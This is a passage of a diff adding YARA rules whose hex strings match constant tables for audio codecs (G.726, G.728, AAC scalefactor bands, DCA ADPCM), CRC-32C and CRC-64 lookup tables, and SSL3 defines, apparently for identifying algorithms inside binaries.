+	$a0 = { 020506090b0d0104070a080e0306080d000f0c0e0102040a000a030e060c07080c0f0105090f050b02070b0d00040309 }
+
+condition:
+	$a0
+}
+
+	
+rule G726_40kbit_s_5bits_per_sample_table__W_tbl40___32_big_128_
+{
+strings:
+	$a0 = { 0000000e0000000e000000180000002700000028000000290000003a000000640000008d000000b3000000db0000011800000166000001b800000211000002b8000002b800000211000001b80000016600000118000000db000000b30000008d000000640000003a000000290000002800000027000000180000000e0000000e }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32C__Castagnoli__poly_0x05EC76F1__32_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000bfc7a9467e8f538dc148facbbd717b0402b6d242c3fe28897c3981cf7ae3f608c5245f4e046ca585bbab0cc3c7928d0c7855244ab91dde8106da77c7f4c6ed114b0144578a49be9c358e17da49b79615f6703f533738c59888ff6cde8e251b1931e2b25ff0aa48944f6de1d23354601d8c93c95b4ddb3390f21c9ad6e88ddb23574a7265960288ae29c521e855fca027ea3b09612b73f3aa94b45aec926e2d2b2da9846dece17ea65326d7e02f1f562f90d8ff69519005a2ee57ace41c4b3632a38c9f7462c465bfdd03ccf9a13a4d361efde470dfb51ebb6072b7fd66a8c03ad96f697c182793b7a7e03af1dbd9bb3e641e1278a556e8b31a9141f5d01bb7476fdc1e01ae94e4ca11534d8c6d6acc43d2ad650513e59fceac223688aaf8414f153fe809d47712c26bb0bb8417893a4ba84e930d690669c6d6c1c08024dd5a569b1af3105a5209dbe595a09d99ac2152266b8814e72372df58e4db995e3eac5ee1f9051820b1ffd39f765695e34fd75a5c887e1c9dc084d722072d9138966c648751c52246193fe9f9de96af85e717603a20be26fb6844ed44afedab42759a6cfdb2332a3cfac9e1833d60a7ff04e16840c3482e818bb2e53e4c1ba3cc50817573972833b2dfd2f80d187bbe7121fa71cee653370faea9fcb06900bab6b3777d0974de3bc83c24f077fb8db60bc20c79b405a53f754d5ff4ca8af6b2a0376e8f1ff0c7c9deb83d02617f94441d46158ba281bccd63c94606dc0eef40dad49887651331c1a45bcb0a1b9c624c67a5e383d8624ac5192ab00ea6ed194854f1839eeb362ad82a7ed01395b97955e980f89a564751dc970fab1728c802512e12759691d5dcd0509d261bef5a8f5d93630e922ca4a7d4edec5d1f522bf45948bab5acf77d1cea3635e62189f24f67f5cbcea84a0c67ee8b449d2534833463325943a48d9eeae24cd61029f311b96f8f2838a030ef91e6f1a76b2d4e60c26bbc7c58bd03bbf1fbc2f30b307d34a276010d23b9beca8aff7f827034c045d972c69faeb5795807f3b810fd3807d7547e7beed5b1c4297cf70561863cbaa62f7a702cd9c8cfeb708e0ea38a45b1642303cd5da2cc729a0b8ab3d2f1410c1558070acf2fc0b508868674407c4dcb87d50bb7be54c40879fd82c931074976f6ae0f84ea34d93b2d9d9ffa65675445a2ce12399b4fdd865ce69b47141c50f8d3b516fe09c2d141ce6b978086915c3f41381a4378b9d5fcbf10933df7ea588230431e98a102eb2766abade62e516659e9f82025d079ef9a17d0a95b5f2a62e4988324e242f4e35d855da59ccda76e230a0e285f338fe7e0f426a121bcdc6a9e7b752c6c67effad3a046bc12e8bc77ad2f1531d11694fe6ed13db8af99c773105e6e35168419f2a943b0b4680b4a7fd7cce339abf562f61432cbb0d57a317b6abd983d }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ECMA_182_poly_0x42F0E1EBA9EA3693__64_big_refl_False_
+{
+strings:
+	$a0 = { 000000000000000042f0e1eba9ea369385e1c3d753d46d26c711223cfa3e5bb5493366450e42ecdf0bc387aea7a8da4cccd2a5925d9681f98e224479f47cb76a9266cc8a1c85d9bed0962d61b56fef2d17870f5d4f51b4985577eeb6e6bb820bdb55aacf12c7356199a54b24bb2d03f25eb46918411358471c4488f3e8f96ed4663d78ff90e185ef24cd9914390bb37ce3dcbb28c335e8c9a12c5ac36adfde5a2f0e1eba9ea369306dfeff5137495fa3aaefdd6dcd770416e81f3c86649d3285f45bb4758c645c51b6ab559e258e6ac271ba77a2dfb03177334a9649765a07e4bd68d2308226b08eff9833db2bcc861d388911e7d1f2dda87a79f00c7818eb3bcc7af1ff21c30bde8e8a101488293d4d499b3228721766f80b6bd3c3dbfd506b854997ba2f81e701c7b97651866bd19200a8546d7c558a274258b586d5bfbcb45e1c3d753d46d2601cecdc9e94ace4f3dbfdfea26e92bf46990d1f49c77889d5172f5b3033043ebf55dfbadb9aee082c92ce98e760d05399d03e790cc93a650aaa478900b1228e31e8b768eb18c8b8a22fa64ad7e2f6e3176d56ab3c4b1cd584e374ef45bf6062eea1840eae168a547d66952c92ecb40fc82465cd79455e395b3821458aada7578f7ad1a461044d611cbdc0865dfe733aa9ff3067b657990c3a711223cfa3e5bb5033e2c2240a0f8dc3f4f3e018f031d676b60301f359dbe0e5da050215ea6c212f98f5e3fe438617bc5fe4c1c2b9b84c091d14202910527a9a93366450e42ecdf0d1c685bb4dc4fb6316d7a787b7faa0d65427466c1e1096454863ce9ff6e9f8910a932f745f03ce02cd820d48a53d95b78f72eca30cd7a3240150a8daf8ab144e43a04931514122dd84b16b0dab7f7968c6418ae602954ffbbc387aea7a8da4c0fec89b01d367925339d9b93d2959c9e67b2958d680b3ff75f50b1caf74cf481fb7fbfd44dd257e8c70eadf78271b2539321a3e938ef113aa2e5eb66066087d7e6cae578bcfe24bedabbf75b735dc1058e94f945c9c3626cb676dd025684a91a1259d31cec1a0a732e28c13f23b9efc87a07cf2199274ca14167ff3eacbaf2af1548f120162451c62939e303d987b47d7d16ed1d6319171445f4c95afc5edc62e1dbc74446c07f0bddaad56789639ab08985db7933fd39d9b84193f60d72af34fc6e9de8b7ec0c5dc01f8fcb784fe9e6943081d5c2d14a8facd2a5925d9681f908fdab8ce7082290348cb9af28abc72b60a3b7b192356442570428b155b4eaf1e32b26afef2a4998df5a348c2089ac238b753a929a170f4ab3971ed50550c43c17b810cbbfce67552bc902e8706d82ee7fe60cf6caf321874e224479f47cb76a0a0d4a674ee21403367c58448141f1b86253565a3bdf52d15ab1721da49899a7fe9e7c031e063acec2ef6e20d1a5df7596c0603e6b3b7c1caf6fae5c07d3274cdb40a042bd4d8425e731b26172ee619eb31ebc7fc870c2f78bfc9838573709812fd39626eda9aae813a28405220a4f53478d8a1b9894ec3a7649c294a61b7ad73266cc8a1c85d9be0e17dea9d3263c055a38d0b769b89f6c62daf4f0f6ff541ac6f5faee4c61f773fa84e8cd83c212c8aeabe6d3395cb1a1990c79d3fedd3f122d2377cd44439c7b115265ee8be079c0457d6bf0317edaa97d9f4fb7ae3911dfd9b041a914a7b2b6e5c1538adb04570db1ee5d94619af464802a151b5f156289c4051b05e58bc1e0f87409262a28245bac5b073890b6873294b9237f0ff14c4430962d61b56fef2d0ce73f427acc0a9658c8315cc052a9ff63a80143f5cf17f137870f5d4f51b4980bf61d7e80f251235fd913603a6cf24a673b3727a52b393cc31439391fb59a55ff652b1ad0167feeab4a25046a88dc879a8e6d8b54074a6adea16395ee99e903e2d071b6213a0cb8b6ff7fa89ba4afd18e1d5bef04e364a72a3255f1be7dc7ce164347d271de2275426c49cccb40811c75cbd6cc0cc10fafc1e4d8d2b65facc6fd95caf179fc497da9bac4efc362ea149158e0a85c2521623577eeb6e6bb820b0906fc95291867b05d29f28b9386c4d96cedba04ad09523428c2b41a1797f15d14b3a639d83414e6409ca82762aab78f787e8c60fded7cf9dc51827e4773df90e020905d88d03a2bb40f9e43324e994282cffe7d5975e55e26e0f063e3eb46371a91e2402c48a38c4ebeec5e96d600e5765cc8190991cb93d273c607b30f68faee02d4247cac8d41ba2dda3ac6322e288be992b5f8bdb8c5cfc69cab42231bacf3b78e888d80fe17a7988096371e5d7e9f7aa4d1a85996083b55aacf12c735610724b8ecdd64d0da530bb6f267fa73b364ac29f2a07bfd00d08327ec1ae55e69ecf235cfd546bbd2b8dd3bd16fd818bb803f1f96f09fd3cd241011884a0170a4186103ab85a2951f4c4e0db53f3c36767d8a453a01b3a09b39a54b24bb2d03f205d45907748ee64951fb5719ce1045206919735e51578e56cd367d40ebc92d3ff1476f63246ac884a568617d9ef46bed9e085162ab69d5e3ca275f7c11f7768af6564d5fde549331a279434164ca30589a9b6706fb8dfb2e3eb469184113584702c57b3b8eb0bdfc56ea7525342e1e95672e3daa0aa18878230133b4b03f2b111f7021977f9cceaa4b5f2f89c5026dc373bd0bce5a45a6b5d79205d0e0db05dcebe317f32f78e067bfcc19ed95e6430e886b86ed5267cdbd3c4488f3e8f96ed400359ad0275a8b6f541a94ce9dc428066cf8b0890283e370c8d7be97b81d4019f4a6acb477bea5a2a089a2aacd2006cb914dea25f3af9026d562e43b4931334fe913f6188692d6f4bd3cf8063c0c759d85dedc41a34bbeeb21f1d25f19d51d821d80c07cd676f83949afce626ce85b507 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_shape__flt64___64_big_5120_
+{
+strings:
+	$a0 = { 3fd4e00000000000bff70c0000225c18bfe398000044b830bfebf8000044b830bff3f1ffffeed1f4c003a80000000000c001e0fffff768fabfe053ffffdda3e83ff6b800000000003ff9ec0000225c18bff6060000112e0cbff4e9ffffeed1f4bfdda00000000000bff611ffffeed1f4c001620000112e0cc00a170000089706bfc54000000000003fe728000044b830bfe3f000000000003fe3b8000044b830bfd190000089705fc00a64fffff768fa3fe403ffffdda3e83fb660000112e0bfbfe3e8000044b830bff3a00000000000c00bda0000112e0cc0033cfffff768fa400b00fffff768fa3ff2d60000112e0cbff35c0000225c18bfb380000000000040024b0000089706bffe41ffffeed1f40000000000000000c0100800000000003ff0b80000000000bfcde0000112e0bfbff5c1ffffeed1f43fd0a7ffffbb47d03fed83ffffdda3e83ff58e0000112e0c3fe593ffffdda3e8c00b2b0000089706c00718fffff768fa4003da0000112e0cbff3380000000000c006920000112e0c3fec13ffffdda3e83fd1c00000000000bff1400000000000bff9d9ffffeed1f4c001ab0000089706c0085c0000000000c00d50fffff768fabff53e0000112e0c4001060000112e0cbff7580000000000bfe1f3ffffdda3e83ff4d000000000003fe3ac0000225c183fdf18000044b8303ff52e0000112e0cbff3400000000000c0144b00000897063feae8000044b830c00d90fffff768fabff56c0000225c183ff0f60000112e0cbff231ffffeed1f43fe02000000000003fd758000044b830bfdad0000089705fc00f0a0000112e0cc019158000044b833ff8440000225c184002f80000000000c00060fffff768fabff3d9ffffeed1f43fe02c0000225c183fed18000044b830bfde000000000000c009e400000000003fc9a0000112e0bf4006fa0000112e0cbff379ffffeed1f4bff4880000000000bfff400000000000bf9e000000000000400c220000112e0cbff4e000000000003fe698000044b8303fe8000000000000bffdee0000112e0c3fe343ffffdda3e8c004b60000112e0c400b0000000000003fe8d3ffffdda3e8c0005b00000897063ffca1ffffeed1f4bffb000000000000c00fea0000112e0cc00e1cfffff768fa3fe5a0000000000040025a0000112e0cc0025b0000089706c00840fffff768fac015d40000000000400fa8000000000040206f8000044b833fdd10000089705f400b5c00000000003fe3d3ffffdda3e8c011887ffffbb47d3ff40e0000112e0c400228fffff768fa40170e00000000003ffae1ffffeed1f4c00618fffff768fa3fe2bc0000225c183ff3dc0000225c18bfb6e0000112e0bfc0114d8000044b83c00f2800000000003ff93c0000225c18bff6700000000000bfef6c0000225c18c012f87ffffbb47dc010607ffffbb47d40195b8000044b833ff81c0000225c183ff0b80000000000bffcc00000000000c012d58000044b83bff6a00000000000c00db8fffff768fa4009730000089706bff1d60000112e0cbff3b40000225c184008bc0000000000bffa09ffffeed1f4c005f40000000000c011d50000089706c015bd8000044b834005a70000089706bfc970000089705fc00a40fffff768fac0210e8000044b83bff691ffffeed1f440169800000000003ffcd80000000000400a8c0000000000bfc060000112e0bfc0152f0000089706bfed000000000000400c6b0000089706401a2e0000000000bff759ffffeed1f4c014b18000044b8340034800000000003fbe800000000000bff1560000112e0c3ff4c000000000003ffd800000000000c005240000000000bfff960000112e0cc0072e0000112e0c3ff0a60000112e0c3fdaf8000044b830bff6640000225c18bff9cc0000225c183feb3c0000225c18bfef58000044b830bfb0000000000000bff0080000000000c008d8fffff768fa3ffa1c0000225c18bfe8bc0000225c18bf84fffff768fa0c3fe1d8000044b830bffdf9ffffeed1f4bfec9c0000225c184008fcfffff768fa3ff3e1ffffeed1f4bff6400000000000c0123a0000000000c0098000000000004004bcfffff768fa3fef08000044b830bff189ffffeed1f4c0018a0000112e0c3fd76000000000003fee3c0000225c18bff7a60000112e0cbfcecfffff768fa1c012138000044b834004f60000112e0c3ff8f1ffffeed1f4c0018cfffff768fa3febe000000000004002b00000000000bfc720000112e0bf3fed28000044b8303fe083ffffdda3e8bfed83ffffdda3e8400cae0000112e0cbff5040000225c18bff421ffffeed1f43fd5200000000000bfd318000044b830bfcf60000112e0bf3ff1760000112e0cbfece8000044b830bfebc3ffffdda3e8bff001ffffeed1f43fdf98000044b8303ffe500000000000bff341ffffeed1f43ff141ffffeed1f4bfb30000000000003ff44000000000003ff619ffffeed1f44005d400000000003ff62e0000112e0cc00c8a0000112e0cbff7d1ffffeed1f4c003360000112e0c40074300000897064011f87ffffbb47dc0015f00000897063fd5c7ffffbb47d03ffe8800000000004006a60000112e0cc001630000089706c002240000000000bff091ffffeed1f44005440000000000bff4140000225c183fc40fffff768fa1bfe2c8000044b8303ff63c0000225c18bff04c0000225c183ffb9800000000003fd1b0000089705fbfd6200000000000c000b700000897063fddb0000089705f40037400000000003ffd49ffffeed1f43fcc400000000000bff36800000000003ffb5c0000225c183feadc0000225c18bfb540000225c17d3fbdc0000225c17dbffad60000112e0c3fc070000089705f3ff0840000225c18bfef53ffffdda3e83ff271ffffeed1f4c00caa0000112e0cbfe2e000000000004012418000044b83bfe3000000000000bfff59ffffeed1f4c01a5d0000089706bfcb70000089705f400f5c0000000000c0008800000000003fc68fffff768fa1bffd21ffffeed1f4400538fffff768fa3fef500000000000c002770000089706bfe3ac0000225c18bfff240000225c18400e3f00000897064010767ffffbb47dbffcd60000112e0cbfded8000044b83040044e0000112e0cbfca70000089705f3fe1f8000044b830bfe403ffffdda3e83fd9800000000000400cf0fffff768fa40000cfffff768fabffed9ffffeed1f43ff5040000225c183f8e0000112e0be83fe378000044b8303ff7de0000112e0cbf918000044b82fabfe568000044b830bfbec0000225c17dbfe743ffffdda3e84006030000089706bfd530000089705fbff4860000112e0c3ff8c40000225c184002de0000112e0cc001e8fffff768fa3fef600000000000bfe098000044b8303fd8f8000044b830bfb01ffffeed1f413fd667ffffbb47d04001f20000112e0c401d2c7ffffbb47d4014e900000897063fca0fffff768fa13ff58e0000112e0c3fece8000044b830c003c0fffff768fabfe203ffffdda3e8bffe5e0000112e0c400cc0fffff768fac0068800000000004000bcfffff768fa3fd4d0000089705f3fe68c0000225c18bfdd50000089705f3f84000000000000bff08e0000112e0cbfea83ffffdda3e8bffd000000000000bffa940000225c18bff14800000000003fab8000044b82fa3ff0b00000000000bff71000000000003f78000000000000bfe8800000000000bffb580000000000bfecfc0000225c18bfe48c0000225c18bfeb0c0000225c183fe2200000000000bfd170000089705f3feab3ffffdda3e83fa6000000000000c001d8fffff768fa3fb840000225c17dbfcc60000112e0bfbff719ffffeed1f4bff62e0000112e0cbfea08000044b830bfc10fffff768fa13ff0480000000000bfb360000112e0bfbfb79ffffeed1f41bff29000000000003fe9fc0000225c18bfe0400000000000bff321ffffeed1f4bff6340000225c18bfe563ffffdda3e83fd3e00000000000bfbf000000000000bff4e9ffffeed1f43fe7b3ffffdda3e83fa3c0000225c17dbff789ffffeed1f4bffca9ffffeed1f4bfde67ffffbb47d03fede3ffffdda3e8bff379ffffeed1f4c004c00000000000bfd767ffffbb47d03fe3dc0000225c18bff6ae0000112e0cbff9f80000000000bffd580000000000bffcd40000225c18bfec93ffffdda3e8bff6c1ffffeed1f4bfe82c0000225c18bff5900000000000bfe5f8000044b8303fe19000000000003fecd00000000000bfeca8000044b8303fcc8000000000003fd610000089705fc000b000000000003fcd30000089705fc000a00000000000bfedd3ffffdda3e83fe7c3ffffdda3e83fe1b8000044b830bfafc0000225c17dbfdf10000089705fbfd3e7ffffbb47d0bfe74c0000225c18c0095e0000112e0c3fdb47ffffbb47d0bfeff3ffffdda3e8bffde80000000000bff5d00000000000bfd210000089705f3ff20e0000112e0cbfec63ffffdda3e83ff4900000000000bff7d800000000003feec000000000003fd407ffffbb47d03fe2a8000044b8303fed93ffffdda3e840000b00000897064008c60000112e0cbf967ffffbb47d063fe2b8000044b8303ff0e00000000000bfe6a3ffffdda3e83ff1360000112e0cbfef5000000000003feac3ffffdda3e83ffb7c0000225c183ff4b8000000000040009b00000897063ff6f00000000000bfff0000000000003fe40000000000003fb060000112e0bfbfe71000000000003ff6160000112e0c3f70000000000000bfee2000000000003ff4c40000225c183ffb71ffffeed1f43ff8fe0000112e0cbfd98000000000003ff4fe0000112e0cbfeb33ffffdda3e8bfe5fc0000225c183ff70800000000003fff79ffffeed1f43fc8a0000112e0bfbfbf9ffffeed1f413fe448000044b8304000be0000112e0c3f998000044b82fac0019b0000089706bf90000000000000bfd498000044b8303ffe7e0000112e0c40060e0000112e0cc005d40000000000bff440000000000040064b0000089706bfd2f0000089705f3fe348000044b830bfe91c0000225c18c0044300000897063fd4c00000000000bfd067ffffbb47d03ffc480000000000bff1200000000000bff3be0000112e0c3feaac0000225c184000c8fffff768fabff9660000112e0cbff1d60000112e0c3fd9600000000000bff1b00000000000400684fffff768fa3fd0800000000000bff9ae0000112e0c3fe52000000000003fea2000000000003ff55e0000112e0c3fe363ffffdda3e8bfe13c0000225c18bff991ffffeed1f4bffa9e0000112e0c3fff81ffffeed1f43fe9c00000000000bff729ffffeed1f4bfe258000044b8303fe69000000000003fa28000044b82fa3fdcb0000089705f3fef3c0000225c183fdc98000044b830bfe008000044b830bff3800000000000bfe913ffffdda3e83fefc8000044b8303ff70c0000225c183fbc9ffffeed1f41bff0f000000000003fefd3ffffdda3e83f7e0000112e0be8bfe3c00000000000bfba000000000000bffbc000000000003fe7e8000044b8303fd227ffffbb47d03fe74c0000225c183fde10000089705fbff469ffffeed1f4bff2440000225c183ffc49ffffeed1f4bfe7400000000000bff111ffffeed1f4bfeb4c0000225c183fa43ffffdda3e834005a20000112e0c3fe6600000000000bff1a1ffffeed1f4bfdfd8000044b8303fdb18000044b8303fbac0000225c17dbff1d80000000000bfe798000044b830bfea5000000000003ff6000000000000bfbc9ffffeed1f413ff3ee0000112e0cbfe5b3ffffdda3e83ff5260000112e0c3fcf8000000000003fcdf0000089705f3ff5be0000112e0cbfdf87ffffbb47d03ff3a9ffffeed1f4bfe73c0000225c18bfe8f000000000003fd367ffffbb47d03fee23ffffdda3e8bfb28000000000003ff13c0000225c18c000c000000000003fe4300000000000bfe5e3ffffdda3e8bfd078000044b8303fe36c0000225c18bff5560000112e0c3fedd3ffffdda3e83fe40000000000003ff0c9ffffeed1f4bfe773ffffdda3e83ffcd000000000003fd310000089705fc001ef00000897063ff9d40000225c18bffa51ffffeed1f43fed4c0000225c183ffc680000000000bfe303ffffdda3e83ff41c0000225c183ff3a1ffffeed1f43fe6a3ffffdda3e8bff8040000225c18c0037300000897063fd970000089705f3fec88000044b830bff381ffffeed1f440008a0000112e0cbfffd9ffffeed1f43fea000000000000bfbb8000000000003ffab40000225c183fdf50000089705f3fe16c0000225c183fd867ffffbb47d03fe9e8000044b8303ffe9e0000112e0c4007f20000112e0c3ff88800000000003fe1f000000000003fffc1ffffeed1f43fe7b000000000003fd978000044b8303fb8e0000112e0bf3fe29c0000225c183ff371ffffeed1f43ff401ffffeed1f43ff2e9ffffeed1f43ff3160000112e0c3fd810000089705fc0071b000008970640058b0000089706bfc7000000000000bff8fe0000112e0c3fe298000044b8303fe05c0000225c183ffd3c0000225c18400b0f0000089706bff051ffffeed1f43fc24000000000003ff8360000112e0c4000d40000000000bfd7b0000089705fbff32e0000112e0c3fd058000044b8303ffea1ffffeed1f43fff9800000000003fe5a8000044b8303fa53ffffdda3e8340010f00000897063fdf70000089705fbfe3900000000000bfe6e8000044b830bfe59c0000225c183ffe1800000000003fe8ac0000225c18bfa33ffffdda3e833ff02000000000003fdb2000000000004003f4fffff768fa3ff6ce0000112e0cbfb940000225c17d3fc670000089705fbfcfcfffff768fa13ffc840000225c183ff90c0000225c183ff1fe0000112e0c3fea73ffffdda3e83fe44000000000003ff6b1ffffeed1f4bffe860000112e0c3fbc9ffffeed1f41bfe2b00000000000bff2380000000000400758fffff768fabffc01ffffeed1f43fd927ffffbb47d03ffde1ffffeed1f4bff8840000225c183ffd440000225c18bfd2f0000089705f3f9a7ffffbb47d06bfc0cfffff768fa1bff9c9ffffeed1f43fd2f0000089705f3fef88000044b830bfe49000000000003fffc000000000003fc8e0000112e0bf }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_rear_opposite_side___135_degree___flt32___32_lil_512_
+{
+strings:
+	$a0 = { 77060039c0bfb6b7b063c336bf4e4cb7da6b80b84d09bb36b9004fb8d5fe9d35667478b861711f3739b41cb9477000390829cab869edc936cfa60c389b884ab95d0c063a5fcf14ba1d099e3a4fa4753a019e963bf2d4f6ba187d06bc24357a3babf90e3c767c883d42088b3d570138bdc6a724bdcda7d63c3b1a603c30dd6abc6a29263c24bbec3d9472223eb2a8753d4715993bc204013d8eec6a3ccfa871bc2263a8bcbe7f5dbd62149fbdd9fd4dbdc361fcbc1e580bbdda05fabc2b2268bc2f18433c2b106a3c14fad03b82ef973c23cfe73c149fce3ceca9b33c8c74a13c2ea98d3c7b198f3cc8661f3ca31943bbe9ca1cbc1d1a84bc6b5cf0bcb35129bdd55332bd80171ebd391ae4bcb09b9bbcda8652bc5f6891bb41d294397385773ba735043c0b9a0f3c216a033c24d1df3b6b61113b9a3506bbdcfc82bb518ce7bb00261abc7c3933bcf5ed40bcc1a13abc29712dbcab4321bc930efebb1c85babbdb36d5bba02eafbb603980bb65876cbbac3905bb2f0a3c395bd3563b3914823bbe4b053b0ef1edb89970f0ba9c1869bb07b58bbb8eb640bbf40e61bbf15fc5bb8fcffdbb41a201bccfddccbb7bedadbb3882b6bb3bd898bb416277bbe3d388bb92af98bb351fa4bb5c039bbbe5145fbbc144e0ba4fb21fba7f64d2baa51c59bbfba293bb5d0f88bb16ef52bb91c432bb09cae0bae504a5ba4dddf2bad37b26bb }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_48_1024__16_big_98_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c0020002400280030003800400048005000580060006c00780084009000a000b000c400d800f00108012401400160018001a001c001e00200022002400260028002a002c002e00300032003400360038003a00400 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_8_1024__16_lil_80_
+{
+strings:
+	$a0 = { 0c001800240030003c004800540060006c007800840090009c00ac00bc00cc00dc00ec00fc000c012001340148015c0174018c01a401c001dc01fc01200244026c029802c802fc0234037003b0030004 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_96_1024__16_big_82_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c002000240028002c00300034003800400048005000580060006c007800840090009c00ac00bc00d400f001140140018001c002000240028002c003000340038003c00400 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_24_480__16_big_60_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c002000240028002c0034003c00440050005c00680078008c00a400c000e00100012001400160018001a001c001e0 }
+
+condition:
+	$a0
+}
+
+	
+rule SSL3__define__32_big_AND_
+{
+strings:
+	$a0 = { 03000001[0-20]03000002[0-20]03000003[0-20]03000004[0-20]03000005[0-20]03000006[0-20]03000007[0-20]03000008[0-20]03000009[0-20]0300000a[0-20]0300000b[0-20]0300000c[0-20]0300000d[0-20]0300000e[0-20]0300000f[0-20]03000010[0-20]03000011[0-20]03000012[0-20]03000013[0-20]03000014[0-20]03000015[0-20]03000016[0-20]03000017[0-20]03000018[0-20]03000019[0-20]0300001a[0-20]0300001b[0-20]0300001c[0-20]0300001d[0-20]0300001e[0-20]0300001e[0-20]0300001f[0-20]03000020[0-20]03000021[0-20]03000022[0-20]03000023[0-20]03000024[0-20]03000025[0-20]03000026[0-20]03000027[0-20]03000028[0-20]03000029[0-20]0300002a[0-20]0300002b }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_adpcm_vb__16_lil_8186_
+{
+strings:
+	$a0 = { C826C6F5BBFB11FB452BC4F42DF9CCFE0729C6FB6EFA71FB79249DF629FA1201CA291FF6ECFD9EFB80287AF010FB12FD5627ADF15A015F032628EBF33701C0FDA626CEFA6CFAA4FC30297DF8DEFB35FCF42AA0F9B7FC84FA382E77F27A063AF8642A50FD9EF50DFE32292BF96DFF3BF9312A14FC3CFD53FA5C2947FEBFF748FC9D27FDF2BAFD68FA8825E2F57F0102019E2C3FF3E500F8F9DC28C6FA37FDE0F9422847F984F9A5FD6C25ECF82DFBDBFBCF2C13F7AFF9A1FD61274FF780FA9CFCDB29C0F5A9FA40FD7829B1F82EF5DDFF8824DCF600FCE2F9392B4EFA7AF821FD462CF8F7EFFB88FB612600F8E6FC00FA4A2E79F59DFB9DFC9E294EF79DF88BFE2827EBF9D8FCD3FB862B0EFB5AF38000D12D2EF3FEFD0DFC8A2CD2F7E1F643FFD327B6F1B500ADF8A72CBEF56CFE9FFAF92AE4F095FDCBFB8E2A01F6120122F9A12536FA33F7FBFCED2B07F33E034CF8282673F539FFBDF8042906F80D0205F8952D1BF0250144FAE82339F8B9FDC3FF49276CF321F827FE1925F5F646F62DFED72803F456FB11FC0A2770F8C4FF37FB4F2494F71FF992FB65275CF1FEFBC5007624C8F62403A1FE292D07F64805F7F6253262F0AB045AF88227B4FB92F676FE7D241EF63B01F3029327A4F383055EFD3F2577FCF1F94302C52D11FA15F45B006026A1F429F5C000BE258AF4CFFDAA054D2BC0F2EEFA6DFDFB22CAF795F8BF029F2132F904EF2E03D81DF1F7DFF13400A21BC6FC1BEF1711221E480272EF8707D31848FCD0EC370C9D1B6CFDF3E6F70F79207CFF6CF494FC281B72FA86F0E8FF532422FDF0F3F9FE0C25C2FD5FEED2014E1CA5FF69F140FD852077FAEEF3EEFD451936FB6BED3D03FC1990FECEE97105231F02FB14F7B5043D1C45FD1CF230073A1F040557F5DC022D2346FD56EE8D08331BC50059F57C014F21870069F02BFF8822A6033AF4C9FD8D27A2012CF38DFEDF186901F2F6FA09D41EAC0081EB4112121A8301D0EA2E116018AC0231F0C304A22BE6FC27ECAB04F52D78FD87E704085D2AF9FC03F16E01D0304FFDBCDFEA0DD51E72FB94ECDC0390211C049EE80F0C6D1C5207CBE9FB0DF41AE00737EDA30D52219BF64EF3C207D224EE0165E4AE132D283402EEDFFA142D2261F774F0240BB52582F534EF78052A2612F7E1E989102A21FCFF78E49011111E47FB30EB6F0C331921031CEFD6FDDB1C0E076FEB21021A1D02F7A3EE8A057122A6FA3DE9780854289AF603EA130A9F22EEF52FF2D301F51AA8F99FF3400DA61E9C00DCE4350DF81EA5FBACE8D012C917A9FDF0EEC0FE991EDE0488F093FDE322D90990E50408C4229807E2EF2800ED1DDEFFD9F4B009F116DA0142F3800E6F1D16FFA5EDD800E0168F00EAEB4900F02296FF0EE94F0EDE1BAA0109E94F0BD727F30366ED710106210801ADE80B058E1E6FF613EFBC1138183AF5B8F5D905B61725EF75F59E01871B65F176F324042B1627F163F569FEB51221F0BCF518FDB70FDAF2C3F32AFDC81099F6CBF2FFFD24118DF4FCF4E805CF1177EF6BF8B8072E1A78F325F9900640113FF2E4FBA80BF21B56EF4DFB940E290E6EEF54F373057619D8F4E8FA470B1A1863F83AF4850F45146DF64CF0950D4A1854F47FF8040FDB1298F178F80F0D0C1A69F00BF5170CB114D5F39CF15609EA14FAED9AF5E0056410EDF3CDEF6F04D40DB3F459F06400C115BEF959F07507F510D5F750EFFC00B715C2F408F1F201C41181EEAEF4E5FF381442F6E5EDC405DE0C63F266F1CC02381333FB9DEF93FEB90C42F2EBF22E0BA61464F863F2F6FC661915F468FF260BE816A0EFCCFB7B0D3012CEF388F2B30013170EFDC4F92C0C3D1CA0F1CAF94C0BF313D0F0DCF226036C1AB5F586F286008A14F5F4E4F4E4FBA61643F92FEFCD001C1543FBDEF2C10150184EF51AF4BBFD7F107AF65BF5A10E8F12ADF2B5F774001C0F48F48EF0F908A31AADF44BEF090B6F106EED08F56103C4122AFA33F85012A2145BF7DCFDE70DCC1588F8CAFD12111818D7F460FDD50FB7195DEEDEF486066F19EBF36CF08D05261202F95DFA420E1B1764FC1CF88003861EABEFB0F3D7072E1842F72FEDE70881123EF028F32B07E11FCFF1A1F2410CF71CD1F6D8F7C2100A102BF6C2FF590B2D13B7F39AFD10104A132FF373FE4C0453FF970335060DEBF3FF1C03D9FE01E6BCF8C3FC750435EEFA08BAFC68FD73EC8CFCB7FB1A08FBED9BFF19011E0B49EE8E04C5017D09EAE86F0368FD4209B4EA87058EFE5DF989ED7BFAFD0463FD07E65508300138FCF0ED7C014A02D9F7E4EC38051301AEFF63E965F62104DEFFD8EAE60822F96203EBE9990709F76BFF4AEB07053BF2E40379EBF908230399044DE8BB004CFF95FDC6E7E7FC17F612063FEC71F534FF8BFD23E911FC6EFF390132EA3E036501650325E71CFFC1FD97F3AFEE17FCEFF972FFB4E994F99306B9064BEE7D038407F1FF61E993080D08FAFEA1EAD70B0E01370118EC780766060DFABBEDBAF3C9FFFD00CEEC640170F9570115E83FF73AF930FCCDE86CF7B3F42302B6EC23FB7E0084F8D5EA07FF55F172FA26EA3F0285F57AF82AEE06FD5D07C00008E9D5FCFEF5D4FB83E828F7F2F330FC59ED460041FB400BC6EECA0250F1640BADED0CFFB4F2CC0673EEAC02EFEBB8FE18EAEFFD0FF106F949EE37FD79EDA2FB56EA9E0A34F10607B4E999F9A1F1E4F931E89D06AEF593FA45EEF901DBF98DF9F2ECBDFC30F76BF818EBB80565FEC907D7E6ED0190F36FFFFCE77BFAF301AFF9B1E6DAFEBA067